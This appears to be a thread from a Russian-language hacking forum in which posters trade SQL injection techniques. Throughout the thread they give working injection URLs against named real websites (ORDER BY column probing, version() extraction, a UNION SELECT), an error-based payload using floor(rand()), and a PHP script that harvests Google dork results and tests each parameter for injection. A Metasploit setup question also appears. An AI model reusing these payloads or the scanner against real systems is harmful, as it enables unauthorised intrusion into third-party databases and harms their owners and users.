где в cms bitrix найти адрес сайта в бд и в какой таблице или php файле хранится? (наподобие как в жумла в configuration.php есть адрес сайта)
http://politec.ru/country.asp?id=2' возможно ли обойти фильтрацию? Яндекс тИЦ 1100 Яндекс Rank 5/6 так к слову....
Мб поздно отвечаю, но раньше не мог... После ордер бай http://www.ftpinfo.ru/forum/index.php?showforum=4&prune_day=100&sort_by=Z-A&sort_key=2 DESC limit 0,1-- 1 http://www.ftpinfo.ru/forum/index.php?showforum=4&prune_day=100&sort_by=Z-A&sort_key=2 DESC limit 0,10-- 1 В данном примере фильтровать вообще ничего не нунжно, достаточно преобразовывать в целочисленное значение. И да, тебе отдельный привет за слитие скуль из приватов других проэктов, ну ты понял. Ну и как написал выше Redwood там был нарушен синтаксис=/ Зачем сортировать перебирая все колонки, если можно сразу указать максимальную?
Ребят, первый раз с таким сталкиваюсь и не могу в пост запросе подобрать кол-во полей, все перепробовал пробелы на + /* %20 заменяю ничего понять не могу выдает Code: 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1 -- ,'0','00074-00033','2011-02-24 05:04:57','0','. .')' at line 21064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1 -- ,'0','00074-00033','2011-02-24 05:04:57','0','. .')' at line 21064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1 -- ,'0','00074-00033','2011-02-24 05:04:57','0','. .')' at line 21064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1 -- ,'0','00074-00033','2011-02-24 05:04:57','0','. .')' at line 21064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1 -- ,'0','00074-00033','2011-02-24 05:04:57','0','. .')' at line 21064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1 -- ,'0','00074-00033','2011-02-24 05:04:57','0','. .')' at line 21064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1 -- ,'0','00074-00033','2011-02-24 05:04:57','0','. .')' at line 21064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1 -- ,'0','00074-00033','2011-02-24 05:04:57','0','. .')' at line 21064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1 -- ,'0','00074-00033','2011-02-24 05:04:57','0','. .')' at line 21064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1 -- ,'0','00074-00033','2011-02-24 05:04:57','0','. .')' at line 21064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1 -- ,'0','00074-00033','2011-02-24 05:04:57','0','. .')' at line 21064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1 -- ,'0','00074-00033','2011-02-24 05:04:57','0','. .')' at line 21064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1 -- ,'0','00074-00033','2011-02-24 05:04:57','0','. .')' at line 2 Что делать?
Помогите вывести версию БД. http://www.courthouseforum.com/forums/view.php?id=1060181'+%6f%72%64%65%72+by+2+--+
http://www.courthouseforum.com/forums/view.php?id=1060181'+and%20mid(version(),1,1)=5+--+ Вот еще нашел сскулю с выводом. В другом скрипте. http://www.courthouseforum.com//forums/directory.php?type=judges&state=8617%20and%201!=1%20union%20select%201,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
Lijzer, информация к размышлению: Code: insert ... values (...) on duplicate key update parent_name = (select 1 from (select count(*), concat(version(), floor(rand(0) * 2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry '5.0.771' for key 1
вот, так сказать, в ознакомительных целях скрипт написанный за пару минут(парсинг гугла откуда то с ачата) Code: <?php $f = fopen("dorks.txt","r"); $f1 = fopen("links.txt","a"); while (!feof($f)) { $q = fgets($f); $been = ''; $colvo = 17; $colvo = 6; for($i=0; $i < $colvo*10; $i+=10) { $url = 'http://www.google.ru/search?hl=ru&q='.urlencode($q).'&start='.($i); $html = file_get_contents($url); preg_match_all("/<[Aa][ \r\n\t]{1}[^>]*[Hh][Rr][Ee][Ff][^=]*=[ '\"\n\r\t]*([^ \"'>\r\n\t#]+)[^>]*>/",$html,$a); for($x=0; $x<sizeof($a[1]); $x++) { if(strcmp(substr($a[1][$x], 0, 4), 'http') == 0 && strpos($a[1][$x], '74.125.77.132')===false && strpos($a[1][$x], 'google')===false && strpos($a[1][$x], 'youtube')===false) { $str = urldecode($a[1][$x]); $str = substr($str, 7); $end = strpos($str, '/'); if($end > 0) //$str = substr($str, 0, $end); if(strpos($been, str_replace('www.','',$str)) === false) { $been .= $str . '+'; $url = 'http://'.$str; if (strpos($url,'?')!==false) { $u = parse_url($url); $s = ''; if (preg_match_all('#(.*?)&#',$u['query'],$q)) { foreach ($q[1] as $t) $s.=$t."'&"; $s.=substr($u['query'],strrpos($u['query'],'&')+1,strlen($u['query']))."'"; } else $s = $u['query']."'"; $page = file_get_contents($url); $page1 = file_get_contents($u['scheme'].'://'.$u['host'].'/'.$u['path'].'?'.$s); if ($page!==$page2) fputs($f1,$str."\n"); } } } } Sleep(45); } } flose($f1); flose($f); ?>
Ребят поставил metasploit framework, захожу в консоль пишу msf > db_connect db_connect msf3:[email protected]:5432 в ответ [-] Error while running command db_connect: Failed to connect to the database: could not connect to server: Connection refused (0x0000274D/10061) Is the server running on host "127.0.0.1" and accepting TCP/IP connections on port 5432? Что делать? p.s. имя юзера и пасс брал /config/database.yml, проштудировал гугл ответа не нашел. >>> разобрался, ответ нашел тут http://forums.enterprisedb.com/posts/list/1961.page
PHP Warning: fopen(dorks.txt): failed to open stream: No such file or directory in C:\Program Files\PHP\1.php on line 2 PHP Warning: feof(): supplied argument is not a valid stream resource in C:\Program Files\PHP\1.php on line 4 PHP Warning: fgets(): supplied argument is not a valid stream resource in C:\Program Files\PHP\1.php on line 5 не работает скрипт =\
